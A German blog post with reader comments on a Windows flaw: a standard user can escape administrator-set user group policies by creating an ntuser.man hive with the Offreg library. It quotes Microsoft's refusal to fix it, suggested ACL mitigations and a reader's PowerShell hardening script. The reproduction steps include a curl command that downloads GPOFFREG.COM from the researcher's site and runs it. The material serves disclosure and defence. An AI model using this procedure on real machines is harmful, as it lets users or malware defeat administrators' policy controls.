[English]Eine etwas eigenwillige Design-Entscheidung der Windows-Entwickler ermöglicht es, Angreifern Gruppenrichtlinien für Nutzer (user group policies) lokal auszuhebeln. Es reichen normale Benutzerrechte und eine Datei, die in Windows mitgeliefert wird. Microsoft hat nicht vor, dieses Problem zu lösen. Das ist das Fazit aus einer Diskussion zwischen Sicherheitsforscher Stefan Kanthak und dem Team vom Microsoft Security Response Center (MSRC). Ich war als Tester teilweise involviert und bereite es nachfolgend mal auf.
Anzeige
User Group Policies und Mandatory User-Profiles
Kleiner Ausflug in Gefilde, die zeigen, wie problematisch Design-Entscheidungen Microsofts in seinen Produkten sind. Stefan Kanthak hat mich kürzlich auf ein Problem in Windows hingewiesen, wo Zugriffsberechtigungen auf Nutzerprofil-Dateien und Registrierungseinträge für Gruppenrichtlinien unterschiedlich gehandhabt werden. Ermöglicht es Angreifern mit Standard-Benutzerrechten ggf. die kompletten Gruppenrichtlinien des Nutzers außer Kraft zu setzen. Hier erst einmal die Grundlagen, die hinter diesem Problem stecken.
Gruppenrichtlinien und Berechtigungen
In Windows werden die Werte von Gruppenrichtlinien (user group policies) in der Registrierung abgelegt werden. Der Zugriff auf diese Registry-Einträge ist per Discretionary Access Control List (DACL) geschützt. Nur Mitglieder der Gruppe Administratoren und der Gruppe SYSTEM besitzen die entsprechenden Berechtigungen, um die per DACL geschützten Registry-Keys der User Group Policies in den Registry-Zweigen:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies] [HKEY_CURRENT_USER\Software\Policies]
schreibend anpassen oder löschen zu können. Das ist aus Sicherheitsaspekten auch zwingend erforderlich.
Benutzerprofile und Berechtigungen
Weiterhin gibt es für jeden Nutzer eines Windows-Systems ein sogenanntes Benutzerprofil, also ein Ordner, in dem alle Dateien liegen. Der Nutzer hat auf diese (seine eigenen) Dateien alle Zugriffsrechte, die sein Konto besitzt. Ist irgendwie auch logisch.
Anzeige
Bei der Anmeldung eines Nutzers wird der Registry Hive aus %USERPROFILE%\ntuser.dat geladen. Diese Datei wird dann exklusive vom Betriebssystem mit (Read, Write und Delete/Rename-Zugriffsrechten) geöffnet. Dies verhindert Modifikationen oder ein Löschen der Datei durch den angemeldeten Benutzer.
Die Rolle der Mandatory User Profiles
Der MSDN-Artikel "About User Profiles" erwähnt auch sogenannte "Mandatory User Profiles" (obligatorische Benutzerprofile). Der Registry Hive dieser Benutzerprofile werden unter %USERPROFILE%\ntuser.man gespeichert. Dieses obligatorische Benutzerprofil ist ein spezieller Typ eines vorkonfigurierten Roaming-Benutzerprofils.
Administratoren können dieses Profil bzw. die Datei verwenden, um Einstellungen für Benutzer festzulegen. Mit obligatorischen Benutzerprofilen lässt sich der Desktop eines Benutzers ändern. Aber die Änderungen werden nicht gespeichert, wenn der Benutzer sich abmeldet. Wenn sich der Benutzer das nächste Mal anmeldet, wird das vom Administrator erstellte obligatorische Benutzerprofil heruntergeladen. Es gibt zwei Arten von obligatorischen Profilen: normale obligatorische Profile und super-mandatorische Profile.
Benutzerprofile werden zu obligatorischen Profilen, wenn der Administrator die Datei NTuser.dat (die Registrierungsstruktur) auf dem Server in NTuser.man umbenennt. Die Erweiterung .man bewirkt, dass das Benutzerprofil ein schreibgeschütztes Profil ist, schreibt Microsoft. Soweit zur Theorie.
Stefan Kanthak weist nun darauf hin, dass obligatorische Benutzerprofile aber nicht nur eine Sonderform von "Roaming User Profiles" sind. Local User Profiles unterstützen auch
einen Registry-Hive in %USERPROFILE%\ntuser.man, wobei diese Datei Vorrang hat vor der Datei %USERPROFILE%\ntuser.dat. Diese Datei ntuser.man ist andererseits mit den Rechten eines Standard-Benutzers im Benutzerprofil anlegbar und kann auch beschrieben werden.
Eine LOtL-Datei in Windows
Malware kann legtime Dateien des Betriebssystems verwenden, um sogenannte Living Off The Land (LOTL) durchzuführen. CrowdStrike hat das beispielsweise in diesem Beitrag aufbereitet.
Nun weist Kanthak darauf hin, dass Microsoft die (redistributable) "Offline Registry Library" Offreg.dll ursprünglich mit dem Driver Development Kit für Windows 7 entwickelt hat, diese aber seit Jahren mit Windows mitliefert. Diese Bibliothek lässt sich verwenden, um eine Registrierungsstruktur außerhalb der aktiven Systemregistrierung zu ändern.
Stefan Kanthak schreibt nun, dass ein nicht privilegierter Standard-Nutzer dank der Datei Offreg.dll den Registry-Zweig [HKEY_CURRENT_USER] (natürlich mit Ausnahme der Registrierungsschlüssel, in denen die Richtlinien gespeichert sind) in eine Offline-Registrierungsstruktur ntuser.man kopieren kann. Damit kann er (oder Malware, die unter diesem Konto läuft) alle zuvor über Benutzergruppenrichtlinien auferlegten Beschränkungen nach dem Ab- und Wiederanmelden los werden.
Eine Demonstration zum Testen
Stefan Kanthak hatte mich in der ersten Mai 2025-Hälfte dann gebeten, bestimmte Testschritte auf meinem Windows 10 (IoT) auszuführen und die Ergebnisse zu berichten.
Meine Empfehlung ist, dass nur erfahrene Nutzer diesen Test – vorzugsweise in einer virtuellen Maschine ausführen. Unter meinem Windows 10 IoT konnte ich mich beim Test nach einem Neustart nicht mehr am Benutzerkonto anmelden – da ein Fehler beim Verbinden mit einem (Gruppenrichtlinien) Dienst gemeldet wurde. Ließ sich unter einem Administrator-Konto durch Löschen der Manipulation beheben.
Der Test umfasst mehrere Schritte, bei denen zuerst sichergestellt wird, dass der Nutzer auch keine Schreibberechtigungen auf Policy-Registry-Werte besitzt. Zudem wird der Inhalt eines Registry-Zweigs kopiert. Dann werden Richtlinien gesetzt, um zu testen, ob diese wirken. Nach einer simplen Datei-Copy-Aktion ist ein Neustart von Windows erforderlich. Danach sollten die gerade gesetzten Richtlinien nicht mehr wirken.
Schritt 1: Prüfen und Registry auslesen
Um die Problematik (in Windows 2000 und neueren Versionen) nachzuvollziehen, sollte man im ersten Schritt als nicht privilegierter Nutzer eine Eingabeaufforderung starten und folgende Anweisungen ausführen:
WHOAMI.exe /USER REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE CHDIR /D "%USERPROFILE%" CURL.exe -q -O -R https://skanthak.hier-im-netz.de/temp/GPOFFREG.COM .\GPOFFREG.com
Die erste Anweisung zeigt nur die SID des Benutzers an. Die Reg-Befehle sollen prüfen, dass dieser Benutzer nicht in Registry-Zweige wie Policies schreiben kann. Der Befehl zum Aufruf der Datei REG.exe sollte "ERROR: access denied" ausgeben.
Mit dem letzten curl.exe-Befehl wird dann ein kleines CLI-Programm von Kanthak herunterladen und ausgeführt. Diesen Schritt hatte ich noch manuell ausgeführt, indem ich die gpoffreg.com vom Webserver des Sicherheitsforschers aufgerufen und ausgeführt habe. Das kleine Programm liest den Registrierungszweig [HKEY_CURRENT_USER] – mit Ausnahme der Registrierungsschlüssel mit dem Namen Policies – und schreibt das Ganze in eine Offline-Registrierungsstruktur ntuser.man im aktuellen (Arbeits-) Verzeichnis kopiert.
Schritt 2: Policy als Administrator setzen
Nun ist es an der Zeit, bestimmte Gruppenrichtlinien per Registry zu setzen, um die nächsten Schritte testen zu können. Dazu ist das Fenster der Eingabeaufforderung mit administrativen Berechtigungen zu öffnen (Als Administrator ausführen). Dann sollten sich die nachfolgenden Befehle zum Anlegen der Gruppenrichtlinien-Einträge fehlerfrei ausführen lassen:
REG.exe ADD HKEY_USERS\%SID%\Software\Policies\Microsoft\Windows\System /V DisableCMD /T REG_DWORD /D 1 REG.exe ADD HKEY_USERS\%SID%\Software\Microsoft\Windows\CurrentVersion\Policies\System /V DisableRegistryTools /T REG_DWORD /D 1
Die angegebene SID ist der Wert für das Benutzerkonto, welches in Schritt 1 abgerufen wurde.
Im nächsten Schritt sollte man prüfen, ob die Policy-Einträge in der Registrierung vorhanden sind und ob sie wirken. Ich hatte das alles händisch für Stefan Kanthak getestet und per Richtlinien-Einträge Eingabeaufforderung, Registry-Tool und Task-Manager blockiert. Ein Test zeigte danach, dass die genannten Funktionen vom Standard-Benutzerkonto nicht mehr aufrufbar, sondern vom Administrator gesperrt waren – es kam "Disabled by your administrator" bzw. "Die Eingabeaufforderung ist vom Administrator deaktiviert worden". Also alles wie erwartet.
Man kann auch folgende, von Kanthak vorgeschlagenen Befehle in einer mit Standard-Nutzerberechtigungen geöffneten Eingabeaufforderung ausführen:
CMD.exe REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S
Es sollten die obigen Meldungen bzgl. der Administratorsperre kommen. Bei meinem Test musste ich dann noch die oben mit GPOFFREG.com erzeugte ntuser.man händisch in meinen Benutzerprofilordner kopieren. Dieser Schritt ist mit den obigen, von Stefan Kanthak formulierten, Anweisungen nicht mehr erforderlich. Die ntuser.man wird im Nutzerprofil-Ordner abgelegt.
Schritt 3: Abmelden, anmelden und testen
Nun muss sich der nicht privilegierte Standard-Nutzer vom Konto ab- und danach erneut anmelden (ich hatte seinerzeit sogar einen Neustart ausgeführt). Der Schritt dient dazu, dass ProfileSvc die weiter oben in Schritt 1 erzeugte Datei ntuser.man anstelle der eigentlich zu verwendenden ntuser.dat lädt. Die obigen Schritte wurden (bis auf die Registry-Einträge) ja mit Standard-Benutzerrechten ausgeführt.
Nun sollte die Eingabeaufforderung erneut mit Standard-Benutzerrechten geöffnet und auch der Registrierungseditor versuchsweise aufgerufen werden. Die vorher per Policy definierte Beschränkung dürfte weg sein. Kanthak schrieb dazu noch, dass man im Fenster der Eingabeaufforderung folgende Befehle ausführen solle:
REG.exe QUERY HKEY_CURRENT_USER\Software\Policies /S REG.exe QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /S REG.exe ADD HKEY_CURRENT_USER\Software\Policies /VE REG.exe ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies /VE
Die Befehle, ausgeführt mit Standard-Berechtigungen verifizieren, dass die Einträge im Policies-Zweig nun leer sind und sich zudem als unprivilegierter Nutzer schreiben lassen (wurde durch das Testprogramm von Kanthak so definiert).
Das Fazit: Jeder Standard-Benutzer mit eingeschränkten Rechten kann die Gruppenrichtlinien, die ein Administrator ihm vorgibt, mit wenigen Handgriffen aushebeln.
Microsoft will nichts machen
Stefan Kanthak hat dann das Microsoft Security Response Center (MSRC) über seine Ergebnisse informiert. Es wurde auch ein sogenannter Case eröffnet (MSRC Case 98092 CRM:0022093246). Wie so häufig, hat es dann "etwas geknallt" – denn die Microsoft-Verantwortlichen haben in einer Antwort "kein Problem" gesehen, was man beheben müsste. Hier der O-Ton von Microsoft:
You reported that a user can bypass policies set within the HKCU registry hive.
However, the ability of a user to write to the HKCU hive does not constitute a violation of a security boundary, as the entire hive is owned by the local user, allowing them to write to it without restriction.
Der Hinweis, dass ein Benutzer Richtlinien umgehen kann, die innerhalb des HKCU-Registrierungs-Hives festgelegt wurden, sei kein Problem. Die Fähigkeit eines Benutzers, in den HKCU-Hive zu schreiben, stellt laut Microsoft jedoch keine Verletzung einer Sicherheitsgrenze dar, da der gesamte Hive Eigentum des lokalen Benutzers ist, so dass dieser uneingeschränkt in ihn schreiben kann.
Kein Wort zum obigen Szenario und dem Effekt, dass ein Administrator eine Gruppenrichtlinie setzt und deren Einhaltung letztendlich auch erzwingen können muss, der Nutzer (oder Malware) das jederzeit aushebeln kann.
Empfohlene Gegenmaßnahmen
Stefan Kanthak hat dann an Microsoft noch den Vorschlag unterbreitet, über einige Gegenmaßnahmen nachzudenken, um das Szenario zu entschärfen. Ich kopiere mal seine Vorschläge in Englisch hier in den Beitrag:
a) Add an NTFS ACE which denies the user the permissions to create files
in or write the DACL of the directory "%USERPROFILE%" (which is owned
by the SYSTEM account, but grants the user full access):
CHDIR /D "%USERPROFILE%" CACLS.exe . /S SET /P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis CACLS.exe . /S:%DACL%
b) Add an NTFS ACE which denies the user the permission to write the DACL
of or add extended attributes to the file "%USERPROFILE%\ntuser.dat":
CACLS.exe ntuser.dat /S SET /P DACL=Copy the output and insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis CACLS.exe ntuser.dat /S:%DACL%
Ohne die zweite Gegenmaßnahme kann der Benutzer, laut Kanthak, einem Komplizen
der ein Benutzerkonto auf dem Rechner hat, Schreibzugriff auf ntuser.dat gewähren oder
einen Reparse-Punkt hinzufügen.
Nebenbei war neben meiner Wenigkeit auch Mark Heitbrink über das Thema informiert. Mark hat das Thema in eine englischsprachige Gruppe von MVPs eingestellt und die Rückmeldung "kein Privilege Escalation, kein Problem" erhalten, wobei aber die Anmerkung kam, dass es die "mandatory profiles" sehr lange gebe, und bisher nie jemand das probiert habe. Stefan Kanthak hat das Ganze zum 31. Mai 2025 bei fulldisclosure[@] seclists.org eingereicht – beim Schreiben war das Ganze kann seit dem 3. Juni 2025 online abgerufen werden.
Script zum Setzen der Berechtigungen
Weiter unten in den Kommentaren merkt Leser AUTChrisSAUT an, dass er ein Script erstellt habe, um die Berechtigungen zu setzen. Ich stelle es mal als "As-is" zur Verfügung.
################################################################################################################
# Script: Set-UserprofilePermissions.ps1
# Created on: 2025/07/03
# Description: Setzt die Berechtigungen für das Userprofile und ntuser.dat neu damit der "Windows-Design-Fehler" nicht ausgenutzt werden kann (ntuser.man).
# Quelle: https://www.borncity.com/blog/2025/06/02/windows-schwachstelle-ermoeglicht-user-group-policies-auszuhebeln/
################################################################################################################
# History: Änderer Datum Nummer Bearbeitung
# CHSC 04.11.2023 #01# Script erstellung
################################################################################################################
################################################
#Userprofile und NTUSER.DAT Berechtigungen setzten
################################################
#Alle NTUSER.DAT ermitteln ausgenommen des Defaults
$oNTUSERFiles = Get-ChildItem -Path C:\Users -Recurse -Filter ntuser.dat -Force | Where-Object {($_.FullName -notlike "C:\Users\Default\*") -and ($_.FullName -notlike "C:\Users\Public\*")}
#Ermittelte elemente verarbeiten
foreach ($oNTUSERFile in $oNTUSERFiles)
{
################################################
#Berechtigungen für das Userprofile (Root) setzten
################################################
#Variable zurücksetzten damit die Berechtigungen nicht vom anderen Verzeichnis genommen werden
$sFolderACL_Current = $null
$sFolderACL_CurrentSDDL = $null
$sFolderACL_NewSDDL = $null
#Berechtigungen ermitteln
$sFolderACL_Current = Get-Acl -Path $oNTUSERFile.DirectoryName
$sFolderACL_CurrentSDDL = $sFolderACL_Current.SDDL
$sFolderACL_NewSDDL = $sFolderACL_CurrentSDDL
#Prüfen ob Berechtigungen erhalten wurden
if ($sFolderACL_Current)
{
#SIDs zurücksetzten un aus der SSDL ermitteln
$arFolderSIDs = $null
$arFolderSIDs = $sFolderACL_Current.Sddl.Split(";").split(")") | Where-Object {$_ -like "S-1-5-21-*"}
#SIDs der SDDL hinzufügen
foreach ($sFolderSID in $arFolderSIDs)
{
#insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis
$sFolderACL_NewSDDL = $sFolderACL_NewSDDL.Replace("$($sFolderACL_NewSDDL.Split('(')[0]))", "$($sFolderACL_NewSDDL.Split('(')[0]))(D;NP;DCWD;;;$($sFolderSID))")
}
#Berechtigungen setzten
$sFolderACL_Current.SetSecurityDescriptorSddlForm($sFolderACL_NewSDDL)
#ACL setzen
Set-Acl -Path $oNTUSERFile.DirectoryName -AclObject $sFolderACL_Current
}
################################################
#Berechtigungen für das ntuser.dat setzten
################################################
#Variable zurücksetzten damit die Berechtigungen nicht vom anderen Verzeichnis genommen werden
$sFileACL_Current = $null
$sFileACL_CurrentSDDL = $null
$sFileACL_NewSDDL = $null
#Berechtigungen ermitteln
$sFileACL_Current = Get-Acl -Path $oNTUSERFile.FullName
$sFileACL_CurrentSDDL = $sFileACL_Current.SDDL
$sFileACL_NewSDDL = $sFileACL_CurrentSDDL
#Prüfen ob Berechtigungen erhalten wurden
if ($sFileACL_Current)
{
#SIDs zurücksetzten un aus der SSDL ermitteln
$arFileSIDs = $null
$arFileSIDs = $sFileACL_Current.Sddl.Split(";").split(")") | Where-Object {$_ -like "S-1-5-21-*"}
#insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis
#Anmerkung 1von2: Da die Berechtigungen vererbt werden wird der Owner mit Denyrechten versehen damit er diese nicht Berechtigen / Übernehmen kann
$sFileACL_NewSDDL = $sFileACL_NewSDDL.Replace("$($sFileACL_NewSDDL.Split('(')[0]))", "$($sFileACL_NewSDDL.Split('(')[0]))(D;;WDWO;;;OW)")
#SIDs der SDDL hinzufügen
foreach ($sFileSID in $arFileSIDs)
{
#insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis
#Anmerkung 2von2: Da die Berechtigungen vererbt werden werden alle bereits berechtigten SIDs gesperrt das dise nicht weiter teilen können
$sFileACL_NewSDDL = $sFileACL_NewSDDL.Replace("$($sFileACL_NewSDDL.Split('(')[0]))", "$($sFileACL_NewSDDL.Split('(')[0]))(D;;WDWO;;;$($sFileSID))")
}
#Berechtigungen setzten
$sFileACL_Current.SetSecurityDescriptorSddlForm($sFileACL_NewSDDL)
#ACL setzen
Set-Acl -Path $oNTUSERFile.FullName -AclObject $sFileACL_Current
}
}
Zudem schreibt der Leser, dass ihm noch ein Fehler aufgefallen sein, wenn die Berechtigungen (oben unter b) gesetzt werden. Der Fehler betrifft den 2ten Teil "insert (A;;0x1201EF;;;OW) in front of the first opening parenthesis".
Hier werden Owner-Rechte vergeben mit einem erlaubten Zugriff. Da jedoch nicht die Vererbung deaktiviert wird, bringt diese Berechtigung ohne Berechtigungen ändern, Besitzer übernehmen leider gar nichts. Daher hat er in seinem Script auch eine Anmerkung erstellt, das die Berechtigungen verweigern gesetzt werden, anstatt – wie beim Userprofile – zu genehmigen.
Zudem schreibt der Leser, dass in seinem Umfeld sicherheitshalber alle Varianten zur Verhinderung des Aushebelns der User-Policies angewandt werden:
- Applocker
- Obiges Script anwenden
- Logoff Script das die .man-Datei auf den DFS-Share verschiebt.
Mit dem letzten Schritt kann die IT prüfen, ob die .man in Ordnung ist. Am Client wird die Datei gelöscht (sollte der Rechner Offline sein, wird die Datei temporär lokal gespeichert und im Anschluss gelöscht).
Anzeige
Wenn ich das richtig verstehe betrifft das **nur** den Zweig der "Benutzerrichtlinien", nicht den Zweig der "Computerrichtlinien".
Das hast Du richtig verstanden.
Genau solche Beispiele zeigen warum 1000 weitere Schichten Sicherheits-Klopapier von Microsoft alla TPM2.0 rein garnichts bringen:
Die Basics sind schon kaputt by Design.
relevanter für Security sind die Computer GPOs. Abgesehen davon wenden manche Firmen GPOs komplett an, d.h. alle 90min sind die PCs komplett frei von Richtlinien, eine höchst fragwürdige Vorgehensweise.
der 2te Satz ist sachlich komplett falsch. wenn Richtlinien alle 90 Minuten angewendet werden in deiner Logik, dann haben sie erst Recht welche.
nein, war falsch ausgedrückt, es gibt die Option, die Richtlinien jedes mal erneut komplett anzuwenden, dann hast Du kurzfristig alle aufgehoben
können wir das kurzfristig relativieren?
wenn du beim /force die F5 Taste unter Dauerfeuer hast, siehst du es nur für einen Bruchteil der Sekunde, das sich der Registry Zweig löscht.
allerdings gibt es die Option nicht für jede CSE und ist nur für vollständig verwaltbare Richtlinien (löschbare) ein mögliches Problem
das hat tatsächlich Zufallstreffer, weswegen man die Option NIE setzen sollte.
Hi Martin, ich kenne eigentlich nur den Effekt, dass bei GPP (also Group Policy Preferences, nicht GPO) Regeln mit der spezifischen Option "Element entfernen falls nicht länger angewendet wird" entfernt werden, wenn mal bei einem Policy Refresh die Infrastruktur nicht verfügbar ist.
Falls Du was anderes meinst, wäre es lieb von Dir, es exakt zu benennen.
https://www.gruppenrichtlinien.de/artikel/registrierungsrichtlinien-auch-ohne-aenderung-uebernehmen-niemals
das meinte ich ja, stimmt, auch ohne Änderungen übernehmen hieß die Option
Ich sehe hier gleich zwei Stellen, wo ich im Unternehmensnetzwerk diesen Angriffsvektor unterbinden kann, wenn ich es nicht schon habe:
1. Applocker verhindert die Ausführung von GPOFFREG.com aus vom Benutzer beschreibbaren Verzeichnissen
2. Man braucht lokale Adminrechte für Schritt 2. Wenn man die hat, ist eigentlich eh schon alles verloren.
3. Zusätztlich könnte man noch mit Applocker die Ausführung von reg.exe, CACLS.exe, iCacls.exe und takeown.exe (für normale Benutzer) sperren. In den allermeisten Umgebungen dürfte das problemlos möglich sein, da normale Benutzer diese Befehle nicht benutzen.
Nur zur Sicherheit, ob wir über das Gleiche sprechen (mag ja Denkfehler haben), auf die Schnelle einige Gedanken:
Zu 1: Imho problematische Annahme. Wie viele Systeme sind mit Applocker beaufschlagt? Und gpoffreg.dll ist irgendwo in den Systemverzeichnissen abgelegt. Wenn jemand eine .man-Datei (z.B. per RunDLL oder auf ähnliche Weise per LoTL, oder PowerShell?) erzeugen kann, oder bereits hat, ist der Drops gelutscht.
Zu 2: Imho falsche Annahme! Man braucht nur Admin-Rechte, um die Richtlinien zu setzen (das ist dem Test-Szenario geschuldet, in der Praxis setzt der Admin doch die GPO-Einträge für den Nutzer, oder?) – das Schreiben der .man-Datei ohne die lokalen Policy-Settings ist ohne Privilegien möglich …
Zu 3: Guter Vorschlag – der Beitrag ist dafür da, dass die Admins wach werden (MS wird es ja nicht) und sich Gedanken machen, ob und welche Angriffsvektoren es gibt und was man tun kann. Also schon gewonnen!
PS: Hab mal ein altes Thema, was bei mir auf einem Schmierblatt stand, im Beitrag Windows 11 24H2: PowerShell AppLocker/WDAC Script Enforcement Monate kaputt herausgezogen. Wie warb Toyota: "Nichts ist unmöglich".
Mein Vorschlag ist auch WDAC oder Applocker.
Zu 1. SRPs verhindern das Ausführen von unbekannten .exe/.com/etc. aus egal welchem Ordner inkl. dem Profilordner.
zu 2: Werden aber leider von Admins viel zu schnell und oft sogar grundlos an sogenannte Power-User vergeben.
zu 3. Es kann da doch zu Problemen mit besch… Software kommen, die anstelle der Win32 API Befehle schummelt und lieber ShellExecute ausführen. Mein Rough guess, gerade bei Neueirichtung eines Users oder dem ersten Start von Software wird es zu Problemen kommen.
IMHO kann MS das nicht ändern, da das in der Tat ein grundlegender Designfehler.
Das meine Damen und Herrn ist der Grund, warum ein AD besser offline mit strikten SRPs/Applocker betrieben werden muss, siehe auch meine Security Tipps:
https://blog.jakobs.systems/blog/20240506-service-tips-windows/
Ein mit cmd gestartetes curl wird nichts zum Download finden können bei einem offline betriebenen Windows. Ein mit dem Browser oder per Email eingeschlepptes Executable kann aber nicht gestartet werden können.
Problem mitigiert.
Jeder nicht völlig ahnungslose Benutzer kann auch aus einer per REG.exe EXPORT HKCU ‹filename.reg› oder REGEDIT.exe /E ‹filename.reg› HKEY_CURRENT_USER erstellten Datei eine Registry-Hive ntuser.man zusammenfrickeln.
der Hack funktioniert komplett unter Benutzer Rechten. In der Anleitung wird das Admin-Konto nur benutzt um Richtlinien zur Demo zu setzen
Der Designfehler liegt IMHO woanders:
Der Fehler ist, das der User-Policies-Zweig unter HKCU liegt und nicht unter HKLM.
Beispielsweise unter HKLM\Software\Policies\SID des Benutzers.
Der Besitzer von HKCU ist der angemeldete Benutzer und der hat auf den Zweig HKCU Vollzugriff zu haben, da er der Besitzer ist.
Insofern hat Microsoft da mit seiner Einschätzung schon recht.
Und noch ein Designfehler ist es, das es mehrere Policies-Zweige gibt.
Unter HKCU:
HKCU\Software\Windows\CurrentVersion\Policies
HKCU\Software\Policies
HKCU\System\CurrentControlSet\Policies
Unter HKLM:
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies
HKLM\Software\Policies
HKLM\System\CurrentControlSet\Policies
Und dann schreibt viele Software ihre eigenen Policies in eigene Reg-Zweige anstatt das es einen standardisierten Policy-Zweig gibt, in den Software ihre Policies schreiben muß.
Und was den Angriffsweg angeht:
Der scheitert doch schon bei Schritt 2, weil ein normaler Benutzer nie Befehle "als Administrator ausführen" ausführen kann, denn da erfolgt die Kennwortabfrage nach dem Adminkennwort. Und das sollte ein normaler Benutzer nie kennen!
Zu deinem letzten "Schritt 2" – liest bitte meinen Kommentar als Antwort auf Froschkönig. Ich rede nicht davon, dass ich eine GPO für einen Nutzer setzen muss – das macht ein Administrator (?). Aber ich kann als Standardbenutzer ohne Admin-Berechtigungen meinen Registry-Hive (exklusiv der Policy-Zweige) auslesen, in einen Datei speichern und die Datei mit einem bestimmten Namen versehen im Profilordner ablegen.
Dann noch eine Neuanmeldung, die .man-Datei gewinnt und die Policy-Settings des Administrators sind weg, weg, weg, einfach verpufft – was habe ich falsch verstanden?
Ich denke, der Froschkönig hat recht. Zitat aus obigen Artikel:
"Schritt 2: Policy als Administrator setzen
Nun ist es an der Zeit, bestimmte Gruppenrichtlinien per Registry zu setzen, um die nächsten Schritte testen zu können. ### Dazu ist das Fenster der Eingabeaufforderung mit administrativen Berechtigungen zu öffnen (Als Administrator ausführen). ### Dann sollten sich die nachfolgenden Befehle zum Anlegen der Gruppenrichtlinien-Einträge fehlerfrei ausführen lassen:"
Das scheint ein erforderlicher Schritt des Angriffsvektors zu sein. Er scheint nur mit Adminrechten möglich zu sein, wenn ich das richtig verstehe. Muss mir mal Zeit nehmen, das auf einem Testclient hier im AD auszuprobieren. Die vom Froschkönig genannten Schutzmaßnahmen sind hier aktiv und dürften den Vorgang wirkungsvoll blockieren, wie er schreibt, wenn der Angreifer schon Adminrechte hat, braucht er die nachfolgenden Schritte eigentlich nicht mehr… Außerdem gehe ich davon aus, dass GPOFFREG.com ganz schnell von den Antivirenherstellern als PUA (oder höher kategorisiert) geflaggt wird.
Man könnte übrigens auch in einem sowieso schon ablaufenden Loginscript prüfen, ob es eine %USERPROFILE%\ntuser.man gibt und diese ggf. löschen. Und es stimm schon, dass die wirklich sicherheitsrelevanten Settings alle nicht im Userzweig der GPOs sind.
Zu "Das scheint ein erforderlicher Schritt des Angriffsvektors zu sein.": Nein, und nochmals nein! Ich muss als Angreifer oder Benutzer gar nichts setzen. Der Beitrag beschreibt lediglich, wie Richtlinien, die für den lokalen Nutzer vom Administrator gesetzt wurden – für was auch immer – schlicht im skizzierten Szenario verpuffen. Das geht mit begrenzten Rechten.
Wenn ich die Kommentare so lese, wird mir klar, wo MS beim Verständnis scheitert. Ich bin ja nicht die Instanz, wenn es um GPOs und Windows Sicherheitsinterna geht – aber das Thema glaube ich schon verstanden zu haben. Stefan Kanthak hat es ausgetestet und Mark Heitbrink wohl auf cc gesetzt (so wie ich die Mails interpretiere). Mark hat es ad-hoc verstanden und bei seinen US-Kollegen nachgehakt – ich habe erst beim Schreiben des Blog-Beitrags gesehen, wie das wirkt.
Es liegt an den Admins, auszutesten, ob es im eigenen Umfeld zu Problemen führt. Werden nur maschinenweite GPOs ausgerollt, bleibt obiges Szenario folgenlos, da diese Policies in HKLM stehen. Gleiches gilt, wenn die von Froschkönig umgesetzten Schutzmaßnahmen auch wirklich greifen.
Ich kann persönlich nicht abschätzen, ob User-bezogene GPOs in Unternehmen benutzt werden und wie es bei AD-Nutzern wirkt. Von daher klingt dein "Muss mir mal Zeit nehmen, das auf einem Testclient hier im AD auszuprobieren." interessant. Nimm aber eine VM, nicht dass Du das System ruinierst und nicht mehr in das Konto kommst – aber wem sage ich das.
Der Beitrag soll Admins auch nur das Rüstzeug geben, zu entscheiden "wirkt es sich bei uns aus, wenn ja, wie?" und ggf. zu handeln.
Es gibt doch nicht umsonst zwei Richtlinien. Nämlich Benutzer- und Computerrichtlinien.
Wenn man eine Benutzerrichtlinie als Computerrichtlinie setzt. Bewirkt diese doch garnichts. Genauso umgekehrt.
Wie die Namen der Richtlinien schon sage, wirken diese entweder auf Benutzer- oder Computerkonten.
Im Idealfall verwendet man Computerrichtlinien, um dieses Szenario zu unterbinden.
"Nein, und nochmals nein!"
AMEN: die Korrelation zwischen "Kleinkind, das nicht 'mal den eigenen Namen schreiben kann" und "ich nix verstehn" ist wieder einmal gegeben!
"Ich kann persönlich nicht abschätzen, ob User-bezogene GPOs in Unternehmen benutzt werden und wie es bei AD-Nutzern wirkt."
Die in meiner Demonstration ausgehebelten Sperren können NUR für Benutzer gesetzt werden, es gibt keine entsprechenden Computer-Richtlinien!
hör auf zu denken, Fang an zu wissen und zu verstehen .. DAS ADMIN-KONTO WIRD NUR ZUR DEMO IM RUNAS VWRWENDET, damit man zeigen kann, das Policies im Benutzer ankommen, deswegen die offensichtlichen DisableCMD und DisableRegistry.
DAMIT DU SIEHST, das die ntuser.man präferiert wird.
Als Besitzer von HKCU kann jeder Benutzer auch den Besitz an den Policyzweigen übernehmen und dann deren Berechtigung ändern, so das er schreibend drauf zugreifen kann.
Wie geschrieben:
Es ist ein grundsätzlicher Designfehler, per GPO gesetzte Policies in HKCU zu speichern.
Kann man diskutieren – die GPOs sind aber geschützt, was die Registry-Einträge betrifft. Der Design-Fehler liegt darin, dass ein Mandatory User Profile (.man) aus einer Datei bei der Nutzeranmeldung gewinnt und die USER GPOs außer Kraft setzt – oder ich habe alles, was Stefan skizziert mal wieder ganz falsch verstanden (aber Stefan hat den Beitrag gestern im Hinblick auf Schnitzer von mir durchgelesen und da nix beanstandet).
Per Default kann man nur mit Administrationsrechten in der Registry den Besitz übernehmen, das ist das SeTakeOwnership Privilege.
Der Key "HKEY_CURRENT_USER\SOFTWARE\Policies" gehört SYSTEM, nicht dem Benutzer.
(Natürlich ist ansonsten im Root der Hivedatei explizit für den spezifischen Benutzer der Vollzugriff gesetzt.)
Ich würde gar nicht so auf den Pfadstrukturen abheben, denn die Hütchentricks finden durch Positionierung von Hivedateien statt.
Du kannst das gerne einen Designfehler nennen aber keinen Sicherheitsfehler.
